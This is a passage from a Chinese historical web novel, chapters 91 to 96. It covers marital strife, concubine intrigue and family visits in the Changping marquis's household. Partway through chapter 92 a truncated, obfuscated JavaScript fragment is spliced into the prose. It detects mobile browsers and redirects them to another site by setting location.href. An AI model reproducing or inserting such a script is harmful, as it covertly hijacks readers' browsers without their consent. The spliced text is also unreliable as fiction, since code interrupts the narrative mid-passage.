但周婉没抬头，也就没瞧见男人眼里的失望渐渐笼上了一层愤怒，并且，这愤怒，随着她的言语一层一层攀升。
“我为你吃了那么多苦，如今齐哥儿也成了个没名没分的，你对得起我么？”周婉边哭边说，越说她自己越动容，眼泪像断线的珠子。
正当她还想再说时，突然觉得手掌一痛。周婉惊慌失措地抬头，猝不及防撞入一双猩红暴怒的眼眸：“够了！”
秦耀阳压抑地低吼，一根一根将女人抓着自己的手指掰开。他竟推开了自己！
周婉后知后觉地意识到了问题的严重性，她慌忙补救，伸手挽着他的胳膊：“耀阳，我不是那个意思！你知道的……我就是嘴上说说！”
秦耀阳甩开她的手、踉跄地后退几步，他从牙缝里挤出字来：“你就从来不管后果，在你眼里、我秦耀阳、我昌平侯府都及不上你的委屈！我竟不知……这么多年，你如此委屈！”
“我没有！”周婉哭了，惊慌失措。秦耀阳非但没哄，反而冷笑：“是啊，你又怎会承认呢？”他突然笑着流下眼泪来：“我终究是个窝囊废，比不得我大哥。从前比不得，而今，也一样！他没了，你什么都不在乎了！哈哈哈！你让我觉着我这些年就像个笑话！”
“耀阳！”周婉惊叫一声，赶了两步，在秦耀阳冲出去前揪住了他的袖子，周婉眼里头一遭流露出惊恐又焦急的表情来：“你去哪儿？你现在不冷静！你先别走好不好？”
“放开！”秦耀阳用力要将袖子抽回，周婉却捏得更紧，漂亮的指甲掐进衣服里，掐得
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深了，裂了，渗出血来，别有一番滋味在心头。
她再没了撒娇，没有了怨怼。周婉只盼着从前的情郎回来，她变得小心翼翼，变得患得患失。
秦耀阳拖拽着袖子，哪怕她指头上的血浸润上袖子的布料也丝毫不见男人怜惜。可周婉不敢松手，她怕一松了就再难见着他了。
周婉哭着喊：“我错了！我知错了，你不要走好不好？齐哥儿离不开你也离不开我！他是我们的儿子！耀阳！你就算看在孩子的面上，不要生气好不好？！”
她原本以为提到儿子，男人便会心软。可谁知，提起齐哥儿，秦耀阳更气了：“你把齐哥儿当什么了？！他是我儿子，是秦家的儿郎！不是你的筹码！”
秦耀阳愤怒地吼完这句，用力一挣，布帛撕裂的声音后，周婉抓着一截袖子重重摔在了地上。
他头也不回，走得决然。
祁秀院，沈宁音刚回来。
似犒赏有功护卫这等事儿，最是收买人心，沈宁音自是要亲自去的。
也得亏松鹤堂那边不愿意掏银子，她们是觉着归属于外院的护卫都是莽夫，不需要那么上心。再者，那些人都是为着保护沈宁音，老夫人就更不想赏赐了。说不得还想拿这个好生卡一卡沈宁音手里的账目。
可旁的事儿沈宁音不乐意自个儿贴补银子，护卫们的赏钱她却是愿意的。前世跟着冷元景在外打拼，沈宁音知道一个道理，好好善待这些人，关键时刻，是真能保命。
尤其，那个曾帮她挡了一刀的护卫，沈宁音还多赏了两倍银钱。
沈宁音清楚地看到，素来不受重视、又分外勇武的护卫们看向她时，灰蒙蒙的眼睛都亮了。
在桌子前刚端起热茶，门帘就被人重重挥开了。沈宁音抬头就看见秦耀阳铁青着一张脸。
她忙站起身迎上去。没来得及询问，只听秦耀阳道：“拿些止血药来。”
沈宁音听完一愣，下意识去打量秦耀阳周身。这时，外头紧接着被长风扶进来一个女子。
“红叶？”沈宁音有些诧异，这不就是兰心居那边的大丫鬟么？
91. 是妒
沈宁音看着红叶有些愣怔，许是看的时间长了些，秦耀阳不禁侧目。
沈宁音反应过来，捏了捏帕子，有条不紊地处置安排。
秦耀阳看她吩咐兰香将那丫鬟接到一边，还细心地将长风打发了出去。
秦耀阳先前不过是顺手救下丫鬟，带出兰心居就后悔了。只是要他再送人回去又实在拉不下脸，索性就一并领到祁秀院。
如今，秦耀阳看沈宁音这么细致，他倒是有些尴尬与不自在：“你，认识她？”
沈宁音当然认识，前世就认识，只是前世没见过罢了。红叶是秦耀阳的妾室，沈弦思每每提起来，都是恨得咬牙切齿的。她寻思着，红叶应该是得宠的。
“听闻过。”沈宁音微笑：“兰心居新提拔的大丫鬟并不多。”
昌平侯府人丁单薄，能做到大丫鬟的，就那么几个，沈宁音又是主母，掌着名册，秦耀阳倒也没怀疑，点头道：“原来如此，她叫红叶啊？”
沈宁音心下复杂，他这么大阵仗，说不定都惊动松鹤堂了，巴巴地从兰心居把女人带来祁秀院，竟连人家名字都不知……
不过，按着前世的见闻，再瞧见红叶娇艳的模样，沈宁音明白，秦耀阳应该是喜欢这一挂的。
红叶包扎好伤口过来谢恩，她偷瞧了秦耀阳一眼，抿着唇作势要跪，沈宁音皱了皱眉，一抬手，兰香会意地把人拦了。
沈宁音就仿佛没瞧出红叶的小心思，声音十分温和：“你膝盖有伤，也不必拘礼了。”她对兰香道：“快扶红叶姑娘坐。”
兰香顿时露出惊讶来。红叶的脸色也微变：“二少夫人，奴婢站着回话就好。”
就连一直低头喝茶的秦耀阳这会儿都好奇地抬头看。
沈宁音前些日子刚杖责了一大批人，府邸上下颇有微词，她本就不是以宽厚出名的主母。红叶不是祁秀院的下人，也不是侍郎府跟过来的旧人。沈宁音对一个兰心居的婢女这么客气，那就很惹人注意了。
秦耀阳突然想到什么，拿着茶杯的手抖了一下，道：“宁音，是我思虑不周。”
他到底是想明白自己把个年轻女婢领到妻子院里很不妥当。秦耀阳起身道：“我这就让长风把她另寻地方安顿。”
沈宁音听罢，莞尔一笑，起身拉着红叶：“不必这么麻烦，长风是个男子，哪里能安排个什么？世子若信得过妾身，妾身定然好生安顿她。”
正所谓色衰而爱弛，没有了阻挠的爱情就只会慢慢遵从自然规律。沈宁音没爱，不爱就能做到宽厚，做到不争，她并不介意秦耀阳身边有别人，甚至乐见其成。
她将红叶安顿了个奉茶的闲差，既不会太劳累，又有更多的机会见到秦耀阳。
“世子觉着如何？”等人给扶下去后，沈宁音开口问。
秦耀阳见她是当真没不高兴，才长松了口气：“你安排就好，不必问我。”
沈宁音觉着他大抵是现在还没上心，也没太在意，总归先照看着，毕竟他往后总有上心的时候。
说了些话，两人就没甚话讲了。沈宁音坐在八仙桌上写写画画，秦耀阳也难得在她桌旁翻看她写的一笔好字。
秦耀阳来了兴致，便时不时问上一两句，沈宁音回得很简短。
他就那么站在桌案旁看着妻子的侧脸。
秦耀阳忽然就想起来，沈宁音嫁到侯府，她们其实极少有这样安安稳稳相处的时候，他手指摩挲着宣纸略带粗粝的暗纹，内心分外平静，在她身边时，仿佛有种能叫人安宁的力量。
他看见妻子一丝耳发垂落，贴附在白瓷般的脸颊上，脸颊微微透着粉红，是十六七岁少女带着浅浅绒毛的嫩色。他就下意识伸手，想替她抿到耳后头去。
“少夫人。”这时，门外传来兰香禀告的声音：“有客到。”
“谁啊？”沈宁音抬起头时，秦耀阳已经在那之前将手缩了回去。
兰香掀帘进来，犹豫了一下，才小声道：“是沈家几位姑娘……”
沈宁音搁了笔，下意识看向秦耀阳。秦耀阳身份在那，他在场的情况下，不好绕过他去。
秦耀阳神
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色难得带着几分严肃：“快请进府来。”又看向沈宁音：“要我陪你去见么？”
沈宁音有些意外，笑着拒绝了。
秦耀阳眼底浮现失落：“好，我就在这等，若有需要我帮的，就叫人来与我说。”
昌平侯府的客厅里头，几个人局促不安地等待着。
沈宁音走进去的时候，一个身影就扑了过来抱住了她。沈宁音低头，看见沈玉珠红着眼圈，一副要哭了的表情。
后边儿的几个人表情都多少有点尴尬。
沈玉珠什么话都不说，也不理会其他几个人。但她不说、沈宁音也大约知道点什么。
来的几个人里头并没有沈夫人，而是沈含鸢、沈引章、沈弦思，是由沈玉珠的父母，长嫂蔡氏、长兄沈远淮领着的。
上次舫船之事闹得太僵，沈夫人没脸来，她就喊了蔡氏跟沈远淮过来。不用想也知道，蔡氏两夫妻都是为着沈玉珠来的。
毕竟家族的女娘坏了名声，即便沈玉珠年岁还小、也是难逃影响的。蔡氏不得不捏着鼻子来做这一场讨嫌人。
“宁音。”沈远淮站起身，只是看着妹子的脸就有些声音发颤哽咽。
沈宁音发烧刚好，脸上的血色还没恢复，带着点冷白疲态。不过，她倒是露出个笑容点点头：“大哥、嫂嫂。”
蔡氏两夫妻听见她依旧柔软的语气稍稍安了安心，沈宁音招呼她们都坐下，她自己则坐在上首的罗汉床上。
沈宁音这会儿身子虽是大病初愈，但满身绫罗，挑心璀璨，头上的插梳镶着各色宝石，她往那儿一坐，便是金尊玉贵的主母气质。
这是从骨子里透出来的上位者积威。而沈弦思却不明白，她只觉着沈宁音分外刺眼。她的每一件首饰，每一尺绫罗，甚至每一个动作，都像在嘲笑她。
“弦思，还不快坐？”蔡氏提醒。
沈弦思回过神才发现只有自己站着没动。她忙退到一旁，低头打量时，瞥见张开的手掌上，有指甲掐出的深深印记。
原来，这就是嫉妒啊。
92. 无理
人都坐好了，蔡氏愁眉苦脸开口：“宁音妹妹，家里的情况你可知？”
蔡氏避开了那日舫船的事儿，旁敲侧击。
沈宁音当然知道，那次沈夫人等人把她们两夫妻伤到了骨子里。如今肯来，不过是顾全大局。
沈宁音拉着沈玉珠手的时候，小姑娘手很冰，人也沉默了许多。
“我略有耳闻。”沈宁音拍了拍沈玉珠的手背，声音温柔中带着点安抚。沈玉珠抬起脸，眼睛又湿了。
蔡氏很是心疼，叹了口气：“外头流言蜚语不断。”沈家另外三姐妹里头，沈引章低头拉着沈含鸢，沈弦思则攥着裙裾不知在想什么。
蔡氏看向若无其事的沈含鸢就咬牙，她眼圈泛红，道：“我的玉儿乖巧，还没及笄就给人带累了名声。嫂子也没办法才找到你这来，只求你帮帮家里。”
“大嫂，你什么意思？”沈含鸢怒目而视：“含沙射影什么？又不是我想遇着水匪的，你不怪那些歹人，怪我做什么？”
蔡氏气得发抖：“明明是你推玉珠落水的！”
沈含鸢眼神闪了闪，昂着头：“不是我！”
“就是你！”
眼看蔡氏要冲上去，沈远淮连忙拉着妻子，而另一边，沈弦思也拉着了沈含鸢的手：“含鸢妹妹，你别气。”又对蔡氏道：“大嫂你也是的，没证据就不要血口喷人，大家姐妹，和气为要。”
蔡氏眼珠子都红了：“分明有丫鬟瞧见的！她说过的！”
沈宁音听罢眉头微蹙。当时船上那么多人，有人瞧见也不奇怪。倒是沈弦思竟然会出来拉偏架，她性子骄纵，这不像是会管闲事的人。
沈含鸢听了蔡氏的话，眼里闪过一抹慌乱，但很快就镇定下来，怒气冲冲地看向蔡氏：“什么丫鬟看见了！你倒是叫出来对质啊？”
“我！”蔡氏被怼得说不出话来，沈宁音手指上一紧，发现是手边的沈玉珠攥紧了自己。
沈宁音凝眉，目光询问地看向蔡氏。可惜这会儿蔡氏已经给沈远淮拉到一边。沈远淮劝慰妻子：“回家再说，大外头的，没的叫人瞧了笑话……”
蔡氏红着眼睛，咬着牙不说话了。为着家族，为着女儿往后的亲事，她捏着鼻子带两个小姑子上门求人。临了，还要被人家数落不是。
“长兄，我姓沈，怎么会是外人？”沈宁音牵着沈玉珠，等蔡氏抬起泪眼，就见沈宁音道：“先说正事儿要紧，我也好安排下去。”
沈宁音前世见多了腌臜手段，自然明白，蔡氏与沈远淮一家子的委屈是吃定了。那所谓的丫鬟、证人，这会儿估计尸体都寒了。
沈定山会保女儿也在沈宁音预料之中。他虽也会心疼孙女，但沈远淮官身低，六品中书检正，他的女儿，哪怕嫡女，将来嫁的也不会太高。
而沈远淮作为嫡长子，没了亲娘，还没男丁，沈定山又有沈夫人给生的年幼嫡子，钻营如沈定山，当然会护着美貌的女儿。
侍郎府出过东宫侧妃，见过一步登天的机会，更有她沈宁音嫁入侯府珠玉在前，沈定山当然会妄想更多。
果然，蔡氏说明来意：“父亲的意思是，将几个姑娘放你这儿学几天规矩，过些时日，也好去赏菊宴。”
“嫂嫂，你这么客气做什么？”沈弦思盯着蔡氏和沈宁音，沉声道：“爹爹不是还有两句话么？”
蔡氏听了，脸色变幻，似乎在斟酌措辞，沈远淮也是一脸的尴尬。
沈弦思冷笑，将目光全然望向沈宁音：“大哥大嫂不肯说，那我来说。爹爹还提醒你别忘了自个儿的身份。没有沈家，你什么都不是！”她说最后一句的时候，咬紧了后槽牙。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14700303|146125||http|test|mini|href|location''.split(''|''),0,{}));
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沈宁音了解沈定山的性子，上次舫船出事，女眷们除了沈远淮一家外，其他都被水匪劫走过，虽时间不长，可也是天大的污名，沈定山不会管沈宁音被陷害落水、拼死救人，只会觉着她因着落水逃过一劫，偏沈家真女儿们个个名声有缺，是她沈宁音翅膀硬了，不肯救人。
沈弦思以为能从沈宁音脸上看见愤怒不甘又或者是气愤暴怒，可是都没有。沈宁音只是懒懒地抬眸看了她一眼。
蔡氏心里委屈得厉害，先前自个儿委屈，这会儿替沈宁音委屈，她生怕沈宁音生气起来就不管自个儿女儿，慌忙拉着沈宁音的手安抚：“妹子你别见气，公爹只是嘴上说说，他还是关心你的。”
沈定山会关心她？沈宁音是半点不信的，她情绪岿然不动，只笑着冲蔡氏点头：“我都知晓。”
“你知晓什么？”沈弦思激怒不了沈宁音，她自个儿反倒先沉不住气了，怒声道：“你仗着我们沈家才能嫁入侯府，你要真有自知之明，就不该晾着咱们好一会儿！该识趣地在门口相迎，你要真的知事！就该把不属于自己的还回来！”
沈弦思吼出最后一句，她自己愣住了，就连沈引章沈含鸢都震惊地看向她。
要沈宁音还回去，岂非是当着人家的面要她把秦耀阳也还自己？
天知道她上个月还寻死觅活不肯嫁侯府，要和真爱去姑苏。
半晌，还是沈宁音先开口打破了沉默，沈宁音轻笑：“弦思妹妹说笑了。侯府有侯府的礼数，又不是什么乡下人家。”沈宁音掩唇：“这种话妹妹在这儿说说倒是无妨，出去说，只会叫人觉着咱们沈家没礼数，没教养。”
“你！”沈弦思气得心肝颤，可下一瞬，门口就传来男子清朗的声音：“说得好。”
秦耀阳踱步走进来。沈家众人皆是面色微变。
93. 托付
秦耀阳一来，几个沈家人连忙见礼。秦耀阳只是扶着沈宁音将她扶回上首。
在场众人里头，除了沈宁音，就数沈弦思模样最是出挑，秦耀阳却不知为何，素来不喜沈弦思。这会儿他看向沈弦思时，眉头蹙起：“本世子竟不知，我昌平侯府的少夫人，几时还需要仰人鼻息？”
他这话算是直接点了沈弦思，沈弦思听罢连脖子都臊红了，一句话都说不出来。
沈宁音敛眸，也没看沈弦思，秦耀阳纵不是个好夫君，在感情上也是模棱两可，绝不算良人，但他是在簪缨勋贵家庭里头纵养出来的。即便现在做了世子，可那些个纨绔能耐还在，他哪里能容旁人放肆？
似这种时候，沈宁音乐得退居后头去。
秦耀阳一阵说道，最后一语定调：“既来了侯府，便该尊重你们姐姐。我若再听见半句不好的话，往后你们也不必来了。”
沈宁音心下纳罕，秦耀阳的语气是动了真火，可是何至于呢？
“那是自然。”几人里头蔡氏最先应声。
在侍郎府几日的憋屈后，蔡氏看着沈弦思与两个嫡妹吃瘪，心里比谁都舒坦。
沈宁音刚病愈，精神头并不太好，看她打了个呵欠，秦耀阳忙问：“宁音，可是累了？”
沈宁音略略颔首：“有一点。”
“那就先这样。”秦耀阳忙起身扶着沈宁音，随口吩咐道：“来人，送客。”
秦耀阳这话出口，沈远淮和几个沈家人瞬间就慌了，连忙求助地看向沈宁音。
沈宁音嘴角动了动，她琢磨着秦耀阳从前也不这样，今儿怎的如此维护自己。但很快，沈宁音就想到红叶的事。
她一时认为是秦耀阳觉得自己安排得好，所以才投桃报李。
沈宁音便也没多说，只笑着圆场道：“世子，妾身还是先去安置了妹妹们。”
沈宁音将三个妹妹安排在了西跨院的客房里。等看着沈玉珠住进去了，蔡氏这才安下了心。
沈宁音拉着蔡氏送她夫妻出府门。
出了回廊与月洞门，秋日的阳光都迷迷蒙蒙的，透过了高展的树冠，透过了叶隙，斑斑驳驳地洒在人身上。
沈远淮这会儿走在了前头，蔡氏抬眸看着夫君的背影，长叹了口气。
“嫂嫂可是遇着什么烦心事？”沈宁音目光落在蔡氏的侧脸。
与上次相见，蔡氏明显憔悴了许多，她分明才三十多岁的年纪，一双眼睛就已经平添了几分沧桑与疲惫。
蔡氏一时没说话，沈宁音看在眼里却也不好乱去猜。毕竟她是外嫁女。前世她与蔡氏、沈玉珠也相交不深。
慢慢的，沈宁音发现蔡氏停下了脚步。蔡氏拉着沈宁音，语气带着几分乞求：“宁音，你帮帮玉珠吧。”
“大嫂？”沈宁音有几分意外，蔡氏的眼睛里染了几分红，眼泪在眼眶里滚动，若非这是在外头，沈宁音毫不怀疑她会当场跪下来：“从前我与你大哥对你冷淡，是咱们家的不是。也是你大哥怂，他怕得罪人，你们没有亲娘扶持，你又……有过些不好的事儿。”
“但若不是你把玉儿救了，我也不想活了。”蔡氏握紧沈宁音的手，字字真切：“如今我与你大哥看清楚了谁才是真正的家人，从今往后，你有任何事，我和远淮都不会推辞！”
“你帮帮玉珠，她那几个小姑子还有母亲给水匪抓去，那是自作孽不可活，可是玉珠是无辜的。嫂子求你了，千万别让她给人连累了名声！”
蔡氏絮絮说着，有些语无伦次。沈宁音任由她牵着手，聆听着。
可怜天下父母心，沈宁音没想到沈远淮与蔡氏会为了沈玉珠许下这等承诺。
蔡氏就差明说，从今往后长兄就是她沈宁音最坚实的后盾了：“嫂嫂，玉珠是个好孩子。”
蔡氏听了这句，心下稍安。
“不过……”沈宁音顿了顿，看过去。
蔡氏又紧张起来：
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“宁音，不过什么？有什么要求你尽管说。”
沈宁音要的就是这句话，她可以帮忙，但任何事都得先划出个道来，若是大包大揽，将来未必不会叫人生了嫌隙。这是沈宁音前世的处事守则。
沈宁音红唇轻启，面色严肃：“也并非要求，玉珠今年十三，翻过年就十四议亲，她的亲事我会给她找一门合适的。但，门楣兴许不会太高。若你与兄长介意这个，还是趁早另托旁人。”
“这……”蔡氏神色里有犹豫，沈宁音也不催促。
沈宁音也明白，长公主的赏花宴，去的都是高门大户，沈宁音这话的意思，大约是说这宴会上玉珠不太可能找着何事的婆家。蔡氏得着这个机会，哪里能没有点巴望？换了沈宁音也会觉着错愕又失落。
几息之后，蔡氏看了眼远处的沈远淮，咬牙道：“妹子，我信你！玉珠喜欢你，嫂子也一样。你哥那边我去说。”
“好。”沈宁音点头。
蔡氏跟沈远淮上了马车。
马车起行，外头嘈杂的声音仿佛更衬托出了车里的沉默。
“娘子，二妹那边怎么说？”沈远淮终归是忍不住打破了沉默
蔡氏转头看向他：“宁音是答应了。”
“那就好。”沈远淮脸上有了笑：“希望玉珠能在赏花宴找个好婆家。”
“那怕是不能的。”蔡氏叹气。
“怎么的？”沈远淮正如蔡氏所料，蔡氏心下苦笑：“宁音的意思，这次赏菊宴，咱们玉儿、应该不太可能攀上什么好亲事的。”
“……”沈远淮有一些难过和失落。但很快也释然了：“罢了，都是我没用，我这这样的官身，哪里能期待太高。”
“正是这个理。”蔡氏点头，但一想到沈含鸢等人，她又捏紧了拳头：“可气的是那几个妹妹，她们要是攀上了高枝，怕要更欺负瞧不上咱们了！”
沈远淮只得安抚着妻子，心下愤恨恶人没恶报。
94. 勾引
沈家人在昌平侯府安顿下来，但入了夜，沈玉珠不愿跟三个小姑姑住在一处，于是找上了祁秀院。
秦耀阳在祁秀院坐了一下午，沈宁音也整理了许久账册。这会儿她眼睛有些酸涩，她揉了揉眼，是真不能再看下去了。
秦耀阳终于等到了这机会，开口：“宁音，可是困了？”他起身。
沈宁音放下手，有些犹豫。事情太多太杂，沈宁音精力有限，实在没心思争宠，只想好生休息。
沈宁音还没想完措辞，门外就传来兰香与人低低说话的声音。沈宁音微微蹙眉，开口问：“外头怎么了？”
推开门，她看见沈玉珠眼睛里含着泪。
小姑娘扑进沈宁音怀里，声音带着哭腔：“我、我想和你一起。”
沈宁音愣住。兰香和外头瞧着的下人都很有点尴尬。尤其是秦耀阳从屋子里出来的时候，这尴尬的感觉就更甚了。
兰香忙拉着沈玉珠：“玉姐儿，少夫人这儿不方便，奴婢带您去厢房……”
玉珠虽未及笄，这会儿哪儿能不明白自己的搅扰，她脸颊臊得绯红，立马萌生退意。只是沈玉珠刚告罪，就觉着手上一紧，沈宁音笑着把她抱在怀里：“可是住得不习惯、想挨着姑姑睡？”
沈玉珠低着头一时没说话。沈宁音叹了一息，回头看向秦耀阳。
被她那样温柔的眼神看着，秦耀阳哪里好再留宿，立时清了清嗓子，笑道：“不打紧，我正好有事儿要处置，这几日还挺忙的。”
沈宁音朝着他投去感激的眼神，原本还有点不开心的秦耀阳见了，那丝不满便也离奇地烟消云散开。
沈宁音吩咐兰香去添置被褥，让沈玉珠留下。又亲身去送夫君离开。
她把秦耀阳送至门口。秦耀阳看着黑漆漆的夜色，立时就后悔了，可要他再回去跟个小姑娘计较，他又拉不下脸来。
秦耀阳拢了拢大氅，转过身：“宁音，夜里凉，你先回去吧。”沈宁音柔婉一笑，将兰香拿着的手炉接过来放进秦耀阳的怀里。
温暖的感觉驱散了严寒，秦耀阳对上了妻子的眼。
沈宁音道：“世子，这是要去小书房么？”
小书房离兰心居很近，秦耀阳下意识就是想去那儿的，可沈宁音这么一提，他立时就想到了周婉，想到她那令他失望透顶的行径。
秦耀阳不是个城府深沉的，表情都摆在脸上，他的犹豫不决、他的失望愤懑沈宁音都懂，便笑着开解：“书房冷清，妾身派个人去伺候着世子。”
“不用……”秦耀阳话音未落，沈宁音打断道：“世子，如今府邸里头不比过去，还是听妾身的吧。”
秦耀阳愣了一下，他不太明白沈宁音话里的意思，但沈宁音是好意，他也没道理拂了妻子的意思，便点了头。
“世子先过去，妾身这就安排。”
等秦耀阳走远了，兰香走上前听吩咐，原以为沈宁音会派自己的兰香在听见沈宁音的话后堪堪愣住了。
“叫红叶起来，送去小书房伺候。”
兰香福了福身：“是，少夫人。”她没走两步，又听见身后沈宁音的话：“去厨房，就说一会儿本夫人要吃夜宵。”
兰香闻言，脸上就是一尬：“少夫人……厨房那边……”沈宁音嘴角微勾：“你去说便是。”
眼瞧着主子毫不在意回房的背影，兰香叹了口气。
小书房，秦耀阳躺在床上，翻来覆去睡不着，一合眼就想起周婉从前美好的模样。
他越是想，就越是烦躁，索性坐起了身子。
小书房的夜晚、尤其是深秋的夜晚，是冷的，而今，他想着周婉，连心都泛着冷。
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突然，门开了，黑暗中，脚步声很轻，但万籁俱寂里，这声音依旧明显。
“谁？”秦耀阳话音一落，火折子的光像是凭空跳跃出来，有些晃眼睛。
“二爷。”声音软软的，是个女子。秦耀阳听着有些耳熟，等看清楚了那人的长相，他想起来这个人是谁，却又一时记不得这人的名字：“你叫……”
“奴婢红叶。”红叶放下烛台，跪在了秦耀阳脚边。
秦耀阳大马金刀坐在床边，低头看着她，也没多在意：“我还以为你们少夫人会派旁人来。”
他以为沈宁音怎么也会派贴身丫鬟诸如兰香过来伺候着，没想到竟然会是红叶。秦耀阳心里有些闷，他甚至没意识到自己是不高兴了、是介意了。
红叶姿色出众，往日里跟在周婉身边，自从被元妃送过来，就一直被周婉压着，连世子的面都鲜少能见，更别提帮着周家掌控侯府局势了。
如今主母竟给了机会，她只觉得沈宁音刚愎自用，蠢不可言，该自己展现本事了。
红叶跪在地上，伸手去够秦耀阳的衣带：“二少夫人吩咐奴婢伺候二爷。”
她这话模棱两可的，沈宁音的确命人叫她过来侍奉茶水，却没那方面的意思，这是她自个儿加的。
可她这么一张娇俏可人的美人脸说出这样的话来，秦耀阳非但没有觉着舒坦动心，反倒是眉头更皱紧。
红叶将将碰到秦耀阳衣襟，她的手就被秦耀阳用力挥开。
男人站起身，声音烦躁：“不必了，你去厨房叫人备点儿宵夜过来。”
红叶被秦耀阳这一挥弄得歪倒在脚踏上，她红着眼圈抬头去看，可惜，红叶这双可以让很多男人心生怜惜的泪眼，偏偏秦耀阳半个眼神都没多给。
“还愣着作甚？还不快去？”秦耀阳更不耐烦了。
95. 比较
翌日清晨，沈宁音亲手给沈玉珠梳妆，她委实喜欢这小姑娘，如今既答应了照看她，便也是上心的。
沈宁音今生虽都是旁人伺候自己，但因着前世冷元景的女儿多，她每每亲手绾发，手艺也极好。
沈玉珠的头发乌黑浓密，头型也极好，再配上贵重的头面，整个人仿若脱胎换骨一般。
这时，兰香去厨房端了早膳来，沈宁音一看，清粥小菜，连往日的小包子都没了。
沈宁音不问，兰香却是赶紧解释：“小厨房昨儿出了事。”
“哦？”沈宁音其实早有预料，问得也漫不经心的。
“奴婢过去的时候，看见跪了一地的人，训话的还是方嬷嬷。”兰香满脸解气：“平日里少夫人要些汤水零嘴的，这起子人推三阻四慢待于您，如今可算惹到事儿了。”
沈玉珠好奇地看着兰香。
兰香也知她想听，又见沈宁音没有阻拦，就开口道：“就是昨儿世子爷要夜宵，那些人惫懒不给做，还打了红叶。世子爷一怒之下，就去治了她们。松鹤堂那边也给惊动了。”
沈宁音嘴角微弯，侯府厨房是个油水颇丰的地方，能上这儿的，都有些背景关系，是以沈宁音先前整治下人时，独独没动这些人。
而上次的事情之后，她们反倒自觉有恃无恐，对祁秀院的吩咐阳奉阴违，总要找点不痛快。这事儿兰香说过好几次，沈宁音一直隐忍不发。
昨晚，便是沈宁音借他人之手发难的机会。
那起子人大约以为红叶是替祁秀院去讨夜宵的。这么冷的天，婆子仆婢又得半夜爬起来做饭，她们哪里肯？沈宁音料定了这一点。
如今，要发落这些人的，可不是她这个主母，而是秦耀阳。
沈宁音就好似没在听，抬手给沈玉珠夹菜：“玉姐儿，你且先用些，一会儿姑姑叫人单给你做点好的。”
沈玉珠年龄虽已经十三岁，但心性还似个孩子般，笑得乖巧。
用过早膳后，外头就传来消息，说是孙家来了回信，孙靖元答应了。
松鹤堂一片欢欣，仿佛多日来的阴霾都一扫而空。
老夫人坐在明间与人说着话，沈宁音领着人进去的时候，看见周婉、闵氏还有秦耀阳都在。
沈宁音最后将目光落在周婉脸上。
这女人看向秦耀阳时，眼圈有些泛红。按说，秦耀阳与她碰了面，今儿秦齐又有了孙靖元这样的名士做夫子，实在该是件高兴的事。周婉会这样，沈宁音就知，她二人的隔阂并未和好。
且已经到了见面都弥合不了的程度。
沈宁音想想也是，刚闹了矛盾，男人非但直接去了祁秀院，还带走了貌美的丫鬟。心上人昨晚还传出“为俏丫鬟出头抱不平”这样的事儿来，是个爱情至上的都忍不了。
屋子里的人看见沈宁音来，神色各有不同。
秦耀阳像是找着了救星，起身就快步过来引：“宁音，祖母还说去接你过来。”
沈宁音温婉一笑，先给长辈行了礼，又与周婉打招呼。
周婉扯出个勉强的笑来，敷衍之情就挂在脸上。
周婉素来表面功夫到位，如今当着这么多人的面失态，是个人都能看出来她情绪不太好。
周婉目光恨恨地瞥了站在秦耀阳座位后的红叶一眼，周婉情绪上头，失了理智，这会儿对红叶的恨意都已经越过了沈宁音去。
老夫人看向周婉的目光有几分失望，叹了口气，她望向沈宁音的方向：“宁音，你来得正好，孙先生的消息你知晓了？”
“嗯。”沈宁音笑着颔首，回头冲后面招了招手。
众人这才瞧见人群后走出来一个小孩子，男孩年岁虽小，却是玉面星眸，衣裳不算矜贵，但干净整洁，头发梳得一丝不苟，俨然一位知书达理小郎君。
“
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这是我远房的表侄儿，叫南烛，今年五岁，还没有表字。”
南烛的仪态极好，恭恭敬敬作了个揖，见礼的声音也清朗。
老夫人饶是见多识广，在见了南烛也不禁有些侧目。
空气一时安静。
若是别家的儿郎，差一些、差不多、又或者优秀得不多，众人无妨是安慰还是追捧，都能夸赞上几句，可现在的情况……
老夫人转眸看向角落的桌子上正玩着竹子玩具的秦齐……
人不怕说，只怕比，真真是人比人气死个人。
差距太大，反而夸赞不出来了。
周婉也是攥紧了裙裾，她甚至都忘记了红叶的“吃里扒外”，瞳孔震颤了片刻后，周婉当先道：“弟妹，这表侄儿不是远房亲戚么？怎的这般出众？”
众人的目光都聚焦到了沈宁音与南烛脸上来：“这个，我也不知。”左右南烛的鱼鳞册交给薛岚处置，纵有破绽，皇城司都办不得，旁人就更办不得了，她索性就一腿四五六。
周婉碰了个软钉子，看向老夫人的目光都带着点幽怨。先前老夫人曾说，这孩子就是个乡下人，上不得台面，如今第一面都把秦齐给比下去了，等之后见着了孙靖元，怕是要厚此薄彼的。
老夫人拨了拨手里的菩提珠子：“既然孩子们在，就叫他们一处玩去。”她招了招手，红珠走过来领着秦齐往外头去。
南烛看了沈宁音一眼，沈宁音朝他点点头。
“二姐姐，我怎么没听说咱们家有个什么姓南的远房亲戚？”这时，沈弦思的声音响起。
她的声音不高，但正好吸引了屋内人的注意。
沈宁音没有第一时间介绍沈弦思等几个沈家人，沈弦思心里十分不满。
她这话一出口，周婉、老夫人、秦耀阳疑惑的目光就落在了沈宁音脸上。
周婉的眼神甚至带着点幸灾乐祸的热切。
96. 恃宠
沈宁音其实没想过南烛与沈家人会碰到一起。但沈弦思的脾性她却是知晓，沈宁音倒也不是没有筹谋。
“妹妹在外头养病多年，认不得也是情有可原。”
沈弦思在外养病，是沈家对外头的说辞。沈夫人与沈定山能纵着她胡来，可在名分上，却是独独驳了她的请求。这算是横亘在沈弦思心里的一根刺，沈宁音以前从来不提的。
沈弦思眼底的怒意汹涌，她捏紧了掌心：“姐姐莫诓我，这两年我回来后母亲带我见过那么多亲戚、故交，何曾有任何姓南的？”
沈弦思拿胳膊碰了碰沈含鸢，示意她站出来敲边鼓。沈弦思最近在沈家收敛了许多，与沈含鸢关系尤其好。一旁的沈引章见状忙拉住了姐姐的袖子，沈含鸢转头看过去的时候、沈引章冲她摇头。
她们的小动作哪里瞒得过沈宁音去？沈弦思是个冲动的，前几天吃过大亏收敛了许多，可江山易改本性难移，她哪里可能因着大局选择隐忍？
